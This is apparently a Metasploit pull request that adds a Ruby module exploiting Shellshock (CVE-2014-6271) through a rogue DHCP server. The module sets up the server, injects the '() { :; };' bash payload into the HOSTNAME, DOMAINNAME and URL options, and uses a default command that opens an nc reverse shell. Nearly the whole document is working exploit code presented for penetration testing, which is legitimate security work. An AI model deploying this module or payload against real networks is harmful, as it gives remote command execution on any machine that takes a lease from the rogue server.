Add a module to exploit bash via DHCP, lands #3891

This module is just a starting point for folks to test their DHCP client implementations and we plan to significantly overhaul this once we get a bit of breathing room.

modules/auxiliary/server/dhclient_bash_env.rb

@@ -0,0 +1,89 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex/proto/dhcp'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::DHCPServer
+
+  def initialize
+    super(
+      'Name'        => 'DHCP Client Bash Environment Variable Code Injection',
+      'Description'    => %q{
+        This module exploits a code injection in specially crafted environment
+        variables in Bash, specifically targeting dhclient network configuration
+        scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.
+      },
+      'Author'      =>
+        [
+          'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module
+          'Stephane Chazelas', # Vulnerability discovery
+          'Ramon de C Valle' # This module
+        ],
+      'License' => MSF_LICENSE,
+      'Actions'     =>
+        [
+          [ 'Service' ]
+        ],
+      'PassiveActions' =>
+        [
+          'Service'
+        ],
+      'DefaultAction'  => 'Service',
+      'References' => [
+        ['CVE', '2014-6271'],
+        ['CWE', '94'],
+        ['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
+        ['URL', 'http://seclists.org/oss-sec/2014/q3/649',],
+        ['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',]
+      ],
+      'DisclosureDate' => 'Sep 24 2014'
+    )
+
+    register_options(
+      [
+        OptString.new('SRVHOST',     [ true, 'The IP of the DHCP server' ]),
+        OptString.new('NETMASK',     [ true, 'The netmask of the local subnet' ]),
+        OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
+        OptString.new('DHCPIPEND',   [ false, 'The last IP to give out' ]),
+        OptString.new('ROUTER',      [ false, 'The router IP address' ]),
+        OptString.new('BROADCAST',   [ false, 'The broadcast address to send to' ]),
+        OptString.new('DNSSERVER',   [ false, 'The DNS server IP address' ]),
+        # OptString.new('HOSTNAME',    [ false, 'The optional hostname to assign' ]),
+        OptString.new('HOSTSTART',   [ false, 'The optional host integer counter' ]),
+        OptString.new('FILENAME',    [ false, 'The optional filename of a tftp boot server' ]),
+        OptString.new('CMD',         [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
+      ], self.class)
+  end
+
+  def run
+    value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
+
+    # This loop is required because the current DHCP Server exits after the
+    # first interaction.
+    loop do
+      begin
+        start_service({
+          'HOSTNAME' => value,
+          'DOMAINNAME' => value,
+          'URL' => value
+        }.merge(datastore))
+
+        while dhcp.thread.alive?
+          select(nil, nil, nil, 2)
+        end
+
+      rescue Interrupt
+        break
+
+      ensure
+        stop_service
+      end
+    end
+  end
+
+end